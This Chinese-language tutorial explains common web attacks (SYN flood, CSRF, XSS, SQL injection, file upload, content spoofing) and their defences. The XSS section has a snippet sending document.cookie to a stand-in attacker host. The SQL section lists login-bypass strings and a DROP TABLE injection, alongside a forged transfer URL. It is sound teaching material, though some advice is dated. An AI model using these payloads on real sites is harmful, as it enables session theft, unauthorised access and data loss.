Web常見幾種攻擊與預(yù)防方式
來源：liaoxiansheng 發(fā)布時間：2018-05-19 17:12:07 閱讀量：1229
隨著Web2.0、網(wǎng)絡(luò)社交等一系列新型的互聯(lián)網(wǎng)產(chǎn)品的誕生，基于Web環(huán)境的互聯(lián)網(wǎng)應(yīng)用越來越廣泛，企業(yè)信息化的過程中，越來越多的應(yīng)用都架設(shè)在Web平臺上。Web業(yè)務(wù)的迅速發(fā)展吸引了黑客們的強烈關(guān)注，接踵而至的就是Web安全威脅的凸顯。黑客利用網(wǎng)站操作系統(tǒng)的漏洞和Web服務(wù)程序的SQL注入漏洞等得到Web服務(wù)器的控制權(quán)限，輕則篡改網(wǎng)頁內(nèi)容，重則竊取重要內(nèi)部數(shù)據(jù)，更為嚴重的則是在網(wǎng)頁中植入惡意代碼，使得網(wǎng)站訪問者受到侵害。這使得越來越多的用戶關(guān)注應(yīng)用層的安全問題，Web應(yīng)用安全的關(guān)注度也逐漸升溫。
本文從目前比較常見攻擊方式入手，對過去一些經(jīng)典方式進行學(xué)習和總結(jié)，希望能讓大家對Web的安全有更清晰的認識。在閱讀本文之前，小伙伴們需要對HTTP和TCP協(xié)議、SQL數(shù)據(jù)庫、JavaScript有所了解哦。
廢話不多說，下面開始我們的Web安全之旅吧！
DoS和DDoS攻擊
DoS(Denial of Service)，即拒絕服務(wù)，造成遠程服務(wù)器拒絕服務(wù)的行為被稱為DoS攻擊。其目的是使計算機或網(wǎng)絡(luò)無法提供正常的服務(wù)。最常見的DoS攻擊有計算機網(wǎng)絡(luò)帶寬攻擊和連通性攻擊。
為了進一步認識DoS攻擊，下面舉個簡單的栗子來進行說明：
圖1 TCP三次握手：數(shù)據(jù)段互換 Client發(fā)送連接請求報文，Server接受連接后回復(fù)ACK報文，并為這次連接分配資源。Client接收到ACK報文后也向Server發(fā)送ACK報文，并分配資源，這樣TCP連接就建立了。前兩次握手，是為了保證服務(wù)端能收接受到客戶端的信息并能做出正確的應(yīng)答；后兩次握手，是為了保證客戶端能夠接收到服務(wù)端的信息并能做出正確的應(yīng)答。建立完TCP三次握手后，Client就可以和Web服務(wù)器進行通信了。 在DoS攻擊中，攻擊者通過偽造ACK數(shù)據(jù)包，希望Server重傳某些數(shù)據(jù)包，Server根據(jù)TCP重轉(zhuǎn)機制，進行數(shù)據(jù)重傳。攻擊者利用TCP協(xié)議缺陷，通過發(fā)送大量的半連接請求，耗費CPU和內(nèi)存資源。實現(xiàn)方式如下圖：
圖2 攻擊者偽造ACK數(shù)據(jù)包，發(fā)送大量的半連接請求
Web服務(wù)器在未收到客戶端的確認包時，會重發(fā)請求包一直到鏈接超時，才將此條目從未連接隊列刪除。攻擊者再配合IP欺騙，SYN攻擊會達到很好的效果。通常攻擊者在短時間內(nèi)偽造大量不存在的IP地址，向服務(wù)器不斷地發(fā)送SYN包，服務(wù)器回復(fù)確認包，并等待客戶的確認，由于源地址是不存在的，服務(wù)器需要不斷的重發(fā)直至超時，這些偽造的SYN包將長時間占用未連接隊列，正常的SYN 請求被丟棄，目標系統(tǒng)運行緩慢，嚴重者引起網(wǎng)絡(luò)堵塞甚至系統(tǒng)癱瘓。
SYN攻擊的問題就出在TCP連接的三次握手中，假設(shè)一個用戶向服務(wù)器發(fā)送了SYN報文后突然死機或掉線，那么服務(wù)器在發(fā)出SYN+ACK應(yīng)答報文后是無法收到客戶端的ACK報文的，從而導(dǎo)致第三次握手無法完成。在這種情況下服務(wù)器端一般會重試，即再次發(fā)送SYN+ACK給客戶端，并等待一段時間后丟棄這個未完成的連接。這段時間的長度我們稱為SYN Timeout，一般來說這個時間是分鐘的數(shù)量級，大約為30秒到2分鐘。一個用戶出現(xiàn)異常導(dǎo)致服務(wù)器的一個線程等待1分鐘并不是什么很大的問題，但如果有一個惡意的攻擊者大量模擬這種情況，服務(wù)器端將為了維護一個非常大的半連接列表而消耗非常多的資源，即數(shù)以萬計的半連接，將會對服務(wù)器的CPU和內(nèi)存造成極大的消耗。若服務(wù)器的TCP/IP棧不夠強大，最后的結(jié)果往往是堆棧溢出崩潰。實際上，就算服務(wù)器端的系統(tǒng)足夠強大，服務(wù)器端也將忙于處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求，導(dǎo)致用戶的正常請求失去響應(yīng)。
對于該類問題，我們可以做如下防范：
第一種是縮短SYN Timeout時間，及時將超時請求丟棄，釋放被占用CPU和內(nèi)存資源。
第二種是限制同時打開的SYN半連接數(shù)目，關(guān)閉不必要的服務(wù)。
第三種方法是設(shè)置SYN Cookie，給每一個請求連接的IP地址分配一個Cookie。如果短時間內(nèi)連續(xù)受到某個IP的重復(fù)SYN報文，就認定是受到了攻擊，以后從這個IP地址來的包會被一概丟棄。
一般來說，第三種方法在防范該類問題上表現(xiàn)更佳。同時可以在Web服務(wù)器端采用分布式組網(wǎng)、負載均衡、提升系統(tǒng)容量等可靠性措施，增強總體服務(wù)能力。
DDoS(Distributed Denial of Service，分布式拒絕服務(wù))是DoS攻擊的一種方法。攻擊指借助于客戶/服務(wù)器技術(shù)，將多個計算機聯(lián)合起來作為攻擊平臺，對一個或多個目標發(fā)動DDoS攻擊，從而成倍地提高拒絕服務(wù)攻擊的威力。阻止合法用戶對正常網(wǎng)絡(luò)資源的訪問，從而達成攻擊者不可告人的目的。DDoS的攻擊策略側(cè)重于通過很多“僵尸主機”，向受害主機發(fā)送大量看似合法的網(wǎng)絡(luò)包，從而造成網(wǎng)絡(luò)阻塞或服務(wù)器資源耗盡而導(dǎo)致拒絕服務(wù)。
圖3 DDoS攻擊創(chuàng)建“僵尸主機”的過程
從上圖可知，DDOS是利用一批受控制的僵尸主機向一臺服務(wù)器主機發(fā)起的攻擊，其攻擊的強度和造成的威脅要比DOS嚴重很多，更具破壞性。
對于DDoS攻擊，我們可以做如下防范：
(1) 反欺騙：對數(shù)據(jù)包的地址及端口的正確性進行驗證，同時進行反向探測。
(2) 協(xié)議棧行為模式分析：每個數(shù)據(jù)包類型需要符合RFC規(guī)定，這就好像每個數(shù)據(jù)包都要有完整規(guī)范的著裝，只要不符合規(guī)范，就自動識別并將其過濾掉。
(3) 特定應(yīng)用防護：非法流量總是有一些特定特征的，這就好比即便你混進了顧客群中，但你的行為還是會暴露出你的動機，比如老重復(fù)問店員同一個問題，老做同樣的動作，這樣你仍然還是會被發(fā)現(xiàn)的。
(4) 帶寬控制：真實的訪問數(shù)據(jù)過大時，可以限制其最大輸出的流量，以減少下游網(wǎng)絡(luò)系統(tǒng)的壓力。
CSRF攻擊
CSRF(Cross Site Request Forgery)，即跨站請求偽造，是一種常見的Web攻擊，但很多開發(fā)者對它很陌生。CSRF也是Web安全中最容易被忽略的一種攻擊。下面先介紹一下CSRF攻擊的原理。
圖4 CSRF攻擊過程的示例圖
受害者用戶登錄網(wǎng)站A，輸入個人信息，在本地保存服務(wù)器生成的cookie。攻擊者構(gòu)建一條惡意鏈接，例如對受害者在網(wǎng)站A的信息及狀態(tài)進行操作，典型的例子就是轉(zhuǎn)賬。受害者打開了攻擊者構(gòu)建的網(wǎng)頁B，瀏覽器發(fā)出該惡意連接的請求，瀏覽器發(fā)起會話的過程中發(fā)送本地保存的cookie到網(wǎng)址A，A網(wǎng)站收到cookie，以為此鏈接是受害者發(fā)出的操作，導(dǎo)致受害者的身份被盜用，完成攻擊者惡意的目的。
舉個簡單的例子來說明下CSRF的危害。用戶登陸某銀行網(wǎng)站，以Get請求的方式完成到另一銀行的轉(zhuǎn)賬，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻擊者可構(gòu)造另一危險鏈接http://www.mybank.com/Transfer.php?toUserId=100&money=1000并把該鏈接通過一定方式發(fā)給受害者用戶。受害者用戶若在瀏覽器打開此鏈接，會將之前登陸后的cookie信息一起發(fā)送給銀行網(wǎng)站，服務(wù)器在接收到該請求后，確認cookie信息無誤，會完成改請求操作，造成攻擊行為完成。攻擊者可以構(gòu)造CGI的每一個參數(shù)，偽造請求。這也是存在CSRF漏洞的最本質(zhì)原因。
對于CSRF攻擊，我們可以做如下防范：
(1) 驗證碼。應(yīng)用程序和用戶進行交互過程中，特別是賬戶交易這種核心步驟，強制用戶輸入驗證碼，才能完成最終請求。在通常情況下，驗證碼夠很好地遏制CSRF攻擊。
但增加驗證碼降低了用戶的體驗，網(wǎng)站不能給所有的操作都加上驗證碼。所以只能將驗證碼作為一種輔助手段，在關(guān)鍵業(yè)務(wù)點設(shè)置驗證碼。
(2) Referer Check。HTTP Referer是header的一部分，當瀏覽器向web服務(wù)器發(fā)送請求時，一般會帶上Referer信息告訴服務(wù)器是從哪個頁面鏈接過來的，服務(wù)器籍此可以獲得一些信息用于處理?？梢酝ㄟ^檢查請求的來源來防御CSRF攻擊。正常請求的referer具有一定規(guī)律，如在提交表單的referer必定是在該頁面發(fā)起的請求。所以通過檢查http包頭referer的值是不是這個頁面，來判斷是不是CSRF攻擊。
但在某些情況下如從https跳轉(zhuǎn)到http，瀏覽器處于安全考慮，不會發(fā)送referer，服務(wù)器就無法進行check了。若與該網(wǎng)站同域的其他網(wǎng)站有XSS漏洞，那么攻擊者可以在其他網(wǎng)站注入惡意腳本，受害者進入了此類同域的網(wǎng)址，也會遭受攻擊。出于以上原因，無法完全依賴Referer Check作為防御CSRF的主要手段。但是可以通過Referer Check來監(jiān)控CSRF攻擊的發(fā)生。
(3) Anti CSRF Token。目前比較完善的解決方案是加入Anti-CSRF-Token，即發(fā)送請求時在HTTP 請求中以參數(shù)的形式加入一個隨機產(chǎn)生的token，并在服務(wù)器建立一個攔截器來驗證這個token。服務(wù)器讀取瀏覽器當前域cookie中這個token值，會進行校驗該請求當中的token和cookie當中的token值是否都存在且相等，才認為這是合法的請求。否則認為這次請求是違法的，拒絕該次服務(wù)。
這種方法相比Referer檢查要安全很多，token可以在用戶登陸后產(chǎn)生并放于session或cookie中，然后在每次請求時服務(wù)器把token從session或cookie中拿出，與本次請求中的token 進行比對。由于token的存在，攻擊者無法再構(gòu)造出一個完整的URL實施CSRF攻擊。但在處理多個頁面共存問題時，當某個頁面消耗掉token后，其他頁面的表單保存的還是被消耗掉的那個token，其他頁面的表單提交時會出現(xiàn)token錯誤。
XSS攻擊
XSS(Cross Site Scripting)，跨站腳本攻擊。為和層疊樣式表(Cascading Style Sheets，CSS)區(qū)分開，跨站腳本在安全領(lǐng)域叫做“XSS”。惡意攻擊者往Web頁面里注入惡意Script代碼，當用戶瀏覽這些網(wǎng)頁時，就會執(zhí)行其中的惡意代碼，可對用戶進行盜取cookie信息、會話劫持等各種攻擊。XSS是常見的Web攻擊技術(shù)之一，由于跨站腳本漏洞易于出現(xiàn)且利用成本低，所以被OWASP列為當前的頭號Web安全威脅。
圖5 XSS攻擊過程的示例圖
XSS跨站腳本攻擊本身對Web服務(wù)器沒有直接的危害，它借助網(wǎng)站進行傳播，使網(wǎng)站上大量用戶受到攻擊。攻擊者一般通過留言、電子郵件或其他途徑向受害者發(fā)送一個精心構(gòu)造的惡意URL，當受害者在Web中打開該URL的時候，惡意腳本會在受害者的計算機上悄悄執(zhí)行。
根據(jù)XSS攻擊的效果，可以將XSS分為3類：
(1) 反射型XSS(Non-persistent XSS)，服務(wù)器接受客戶端的請求包，不會存儲請求包的內(nèi)容，只是簡單的把用戶輸入的數(shù)據(jù)“反射”給瀏覽器。例如：www.a.com?xss.php?name=
<script>alert(document.cookie)</script>。訪問這個鏈接則會彈出頁面的cookie內(nèi)容，若攻擊者把alert改為一個精心構(gòu)造的發(fā)送函數(shù)，就可以把用戶的cookie偷走。
(2) 存儲型XSS(Persistent XSS)，這類XSS攻擊會把用戶輸入的數(shù)據(jù)“存儲”在服務(wù)器端，具有很強的穩(wěn)定性。注入腳本跟反射型XSS大同小異，只是腳本不是通過瀏覽器à服務(wù)器à瀏覽器這樣的反射方式，而是多發(fā)生在富文本編輯器、日志、留言、配置系統(tǒng)等數(shù)據(jù)庫保存用戶輸入內(nèi)容的業(yè)務(wù)場景。即用戶的注入腳本保存到了數(shù)據(jù)庫里，其他用戶進行訪問涉及到包含惡意腳本的鏈接都會中招。由于這段惡意的腳本被上傳保存到了服務(wù)器，這種XSS攻擊就叫做“存儲型XSS”。例如：
服務(wù)器端代碼：<?php $db.set(‘name’, $_GET[‘name’]);?>
HTML頁面代碼：<?php echo ‘Hi,’ . $db.get[‘name’];?>
圖6 存儲型XSS攻擊過程的示例圖
(3) DOM based XSS(Document Object Model XSS)，這類XSS攻擊者將攻擊腳本注入到DOM 結(jié)構(gòu)里。出現(xiàn)該類攻擊的大多原因是含JavaScrip靜態(tài)HTML頁面存在XSS漏洞。例如下面是一段存在DOM類型跨站腳本漏洞的代碼：
<script>document.write(window.location.search); </script>
在JS中window.location.search是指URL中?之后的內(nèi)容，document.write是將內(nèi)容輸出到頁面。這時把鏈接換成http://localhost/test.php?default=<script>alert(document.cookie)</script>
那用戶的cookie就被盜了。上面的例子只是很簡單的一種，總結(jié)起來是使用了諸如document.write, innerHTML之類的渲染頁面方法需要注意參數(shù)內(nèi)容是否是可信任的。
XSS攻擊的危害，可以將XSS分為3類：
(1) 竊取用戶信息。黑客可以利用跨站腳本漏洞盜取用戶cookie而得到用戶在該站點的身份權(quán)限。如在DOM樹上新增圖片，用戶點擊后會將當前cookie發(fā)送到黑客服務(wù)器：
vari=document.createElement(“img”);
document.body.appendChild(i);
i.src = “http://www.hackerserver.com/?c=” + document.cookie;
(2) 劫持瀏覽器會話來執(zhí)行惡意操作，如進行非法轉(zhuǎn)賬、強制發(fā)表日志或電子郵件等。
(3) 強制彈廣告頁，刷流量和點擊率。
(4) 傳播跨站腳本蠕蟲。如著名的Samy (XSS)蠕蟲攻擊、新浪微博蠕蟲攻擊。
對于XSS攻擊，我們可以做如下防范：
(1) 輸入過濾。永遠不要相信用戶的輸入，對用戶輸入的數(shù)據(jù)做一定的過濾。如輸入的數(shù)據(jù)是否符合預(yù)期的格式，比如日期格式，Email格式，電話號碼格式等等。這樣可以初步對XSS漏洞進行防御。
上面的措施只在web端做了限制，攻擊者通抓包工具如Fiddler還是可以繞過前端輸入的限制，修改請求注入攻擊腳本。因此，后臺服務(wù)器需要在接收到用戶輸入的數(shù)據(jù)后，對特殊危險字符進行過濾或者轉(zhuǎn)義處理，然后再存儲到數(shù)據(jù)庫中。
(2) 輸出編碼。服務(wù)器端輸出到瀏覽器的數(shù)據(jù)，可以使用系統(tǒng)的安全函數(shù)來進行編碼或轉(zhuǎn)義來防范XSS攻擊。在PHP中，有htmlentities()和htmlspecialchars()兩個函數(shù)可以滿足安全要求。相應(yīng)的JavaScript的編碼方式可以使用JavascriptEncode。
(3) 安全編碼。開發(fā)需盡量避免Web客戶端文檔重寫、重定向或其他敏感操作，同時要避免使用客戶端數(shù)據(jù)，這些操作需盡量在服務(wù)器端使用動態(tài)頁面來實現(xiàn)。
(4) HttpOnly Cookie。預(yù)防XSS攻擊竊取用戶cookie最有效的防御手段。Web應(yīng)用程序在設(shè)置cookie時，將其屬性設(shè)為HttpOnly，就可以避免該網(wǎng)頁的cookie被客戶端惡意JavaScript竊取，保護用戶cookie信息。
(5)WAF(Web Application Firewall)，Web應(yīng)用防火墻，主要的功能是防范諸如網(wǎng)頁木馬、XSS以及CSRF等常見的Web漏洞攻擊。由第三方公司開發(fā)，在企業(yè)環(huán)境中深受歡迎。
SQL注入攻擊
SQL注入(SQL Injection)，應(yīng)用程序在向后臺數(shù)據(jù)庫傳遞SQL(Structured Query Language，結(jié)構(gòu)化查詢語言)時，攻擊者將SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
在了解SQL注入前，我們先認識下常用的Web的四層架構(gòu)圖組成：
圖7 Web四層架構(gòu)示例圖
SQL注入常見產(chǎn)生的原因有：
(1) 轉(zhuǎn)義字符處理不當。特別是輸入驗證和單引號處理不當。用戶簡單的在url頁面輸入一個單引號，就能快速識別Web站點是否易收到SQL注入攻擊。
(2) 后臺查詢語句處理不當。開發(fā)者完全信賴用戶的輸入，未對輸入的字段進行判斷和過濾處理，直接調(diào)用用戶輸入字段訪問數(shù)據(jù)庫。
(3) SQL語句被拼接。攻擊者構(gòu)造精心設(shè)計拼接過的SQL語句，來達到惡意的目的。如構(gòu)造語句：select * from users where userid=123; DROP TABLE users;直接導(dǎo)致user表被刪除。
SQL注入常見的注入方式有：
(1) 內(nèi)聯(lián)SQL注入。向查詢注入一些SQL代碼后，原來的查詢?nèi)匀粫繄?zhí)行。內(nèi)聯(lián)SQL注入包含字符串內(nèi)聯(lián)SQL注入和數(shù)字內(nèi)聯(lián)SQL注入。注入方式如下圖：
圖8 內(nèi)聯(lián)SQL注入示例圖
攻擊者將精心構(gòu)造的字符串或數(shù)字輸入插入到SQL語句中，例如如下的用戶登陸頁面：
圖9 有SQL注入風險的用戶登陸示例圖
(a) 攻擊者可在username字段中注入 ‘ or ‘1’=’1′ or ‘1’=’1，password保持為空：
SELECT * FROM login_tbl WHERE username = ‘ ‘ or ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘
這樣SQL語句查詢語句恒為真，服務(wù)器會返回login_tbl表里的全部賬戶名和密碼。
(b) 攻擊者可在password字段，輸入’ or ‘1’=’1：
SELECT * FROM login_tbl WHERE username = ‘ ‘ AND userpwd= ‘ ‘ or ‘1’=’1 ‘
這樣SQL語句查詢語句恒為真，服務(wù)器會返回login_tbl表里的全部賬戶名和密碼。
(c) 攻擊者可在username字段中注入 admin’ and 1=1 or ‘1’=’1：
SELECT * FROM login_tbl WHERE username = ‘a(chǎn)dmin’ and ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘
這樣構(gòu)造的SQL語句，服務(wù)器會返回admin用戶登陸。
常見的字符串內(nèi)聯(lián)注入的特征值如下：
圖10 字符串內(nèi)聯(lián)注入的特征值
常見的數(shù)字值內(nèi)聯(lián)注入的特征值如下：
圖11 數(shù)字值內(nèi)聯(lián)注入的特征值
(2) 終止式SQL注入。攻擊者在注入SQL代碼時，通過注釋剩下的查詢來成功結(jié)束該語句。注入方式如下圖：
圖12 終止式SQL注入示例圖
攻擊者將精心構(gòu)造的字符串或數(shù)字輸入插入到SQL語句中，例如圖9的用戶登陸頁面：
(a) 攻擊者可在username字段中注入 ‘ or 1=1; –，password保持為空：
SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; — ‘ and userpwd=”
這樣SQL語句查詢語句恒為真，服務(wù)器會返回login_tbl表里的全部賬戶名和密碼。
(b) 攻擊者可在username字段中注入 admin’ –，或者admin’ #，password保持為空：
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –‘ and userpwd=”
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=”
這樣構(gòu)造的SQL語句，服務(wù)器會返回admin用戶登陸。
(c) 攻擊者可在username字段中注入 admin’ /*，password輸入*/’：
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /*’ and userpwd=’*/”
這樣構(gòu)造的SQL語句，服務(wù)器會返回admin用戶登陸。
常見的終止式SQL注入的特征值如下：
圖13 終止式SQL注入的特征值
對于SQL注入攻擊，我們可以做如下防范：
(1) 防止系統(tǒng)敏感信息泄露。設(shè)置php.ini選項display_errors=off，防止php腳本出錯之后，在web頁面輸出敏感信息錯誤，讓攻擊者有機可乘。
(2) 數(shù)據(jù)轉(zhuǎn)義。設(shè)置php.ini選項magic_quotes_gpc=on，它會將提交的變量中所有的’(單引號)，”(雙引號)，\(反斜杠)，空白字符等都在前面自動加上\。或者采用mysql_real_escape()函數(shù)或addslashes()函數(shù)進行輸入?yún)?shù)的轉(zhuǎn)義。
(3) 增加黑名單或者白名單驗證。白名單驗證一般指，檢查用戶輸入是否是符合預(yù)期的類型、長度、數(shù)值范圍或者其他格式標準。黑名單驗證是指，若在用戶輸入中，包含明顯的惡意內(nèi)容則拒絕該條用戶請求。在使用白名單驗證時，一般會配合黑名單驗證。
文件上傳漏洞
上傳漏洞在DVBBS6.0時代被黑客們利用的最為猖獗，利用上傳漏洞可以直接得到WEBSHELL，危害等級超級高，現(xiàn)在的入侵中上傳漏洞也是常見的漏洞。該漏洞允許用戶上傳任意文件可能會讓攻擊者注入危險內(nèi)容或惡意代碼，并在服務(wù)器上運行。
文件上傳漏洞的原理：由于文件上傳功能實現(xiàn)代碼沒有嚴格限制用戶上傳的文件后綴以及文件類型，導(dǎo)致允許攻擊者向某個可通過 Web 訪問的目錄上傳任意PHP文件，并能夠?qū)⑦@些文件傳遞給 PHP 解釋器，就可以在遠程服務(wù)器上執(zhí)行任意PHP腳本。
對于文件上傳漏洞攻擊，我們可以做如下防范：
(1)檢查服務(wù)器是否判斷了上傳文件類型及后綴。
(2) 定義上傳文件類型白名單，即只允許白名單里面類型的文件上傳。
(3) 文件上傳目錄禁止執(zhí)行腳本解析，避免攻擊者進行二次攻擊。
Info漏洞
Info漏洞就是CGI把輸入的參數(shù)原樣輸出到頁面，攻擊者通過修改輸入?yún)?shù)而達到欺騙用戶的目的。類似于如下的鏈接：
圖15 Info漏洞示例攻擊圖
Info漏洞存在的3個主要原因有：
1）CGI參數(shù)可以在頁面顯示。
2）返回的頁面具有很強的欺騙性。
3）該頁面是對所有用戶是公開，可訪問的。
Info漏洞的主要危害在于，若在訪問量較大的公開頁面，如網(wǎng)購、微博或新聞網(wǎng)站，發(fā)布反動的政治言論或其他色情詞匯等。一方面會影響用戶對網(wǎng)購業(yè)務(wù)的信心，同時也會給網(wǎng)站帶來一些政治風險。另外，若是發(fā)布欺騙信息，如中獎、彩票等，也會對一些用戶造成財產(chǎn)損失。
對于Info漏洞攻擊，將為常見的就是建立臟詞庫。
即對于曬單，評論，昵稱等可以被其他用戶訪問到的地方，進行臟詞過濾。對用戶的輸入詞匯，與臟詞庫中的詞匯進行匹配，過濾掉有與臟詞庫相同的詞匯。對于一些面向用戶自己的，而其他用戶不能看到的頁面。可以不對其做臟詞處理。
介紹就到這里啦，我們一起來做個總結(jié)吧：
Web安全是我們必須關(guān)注且無法逃避的話題，本文介紹了一些比較典型的安全問題和應(yīng)對方案。例如對于SQL，XSS等注入式攻擊，我們一定要對用戶輸入的內(nèi)容進行嚴格的過濾和審查，這樣可以避免絕大多數(shù)的注入式攻擊方式。對于DoS攻擊我們就需要使用各種工具和配置來減輕危害，另外容易被DDoS攻擊的還有HTTPS服務(wù)，我們要做好特定的應(yīng)用防護和用戶行為模式分析。所以在日常的開發(fā)和測試過程中，我們要時常提醒自己，寫出的代碼有沒有可能被人攻擊？或者思考若我是一個攻擊者，我該怎么做才可以達到我的攻擊效果呢？只有這樣知己知彼后，方可百戰(zhàn)百勝！
13450931319
微信登錄
QQ登錄
微博登錄
售前咨詢
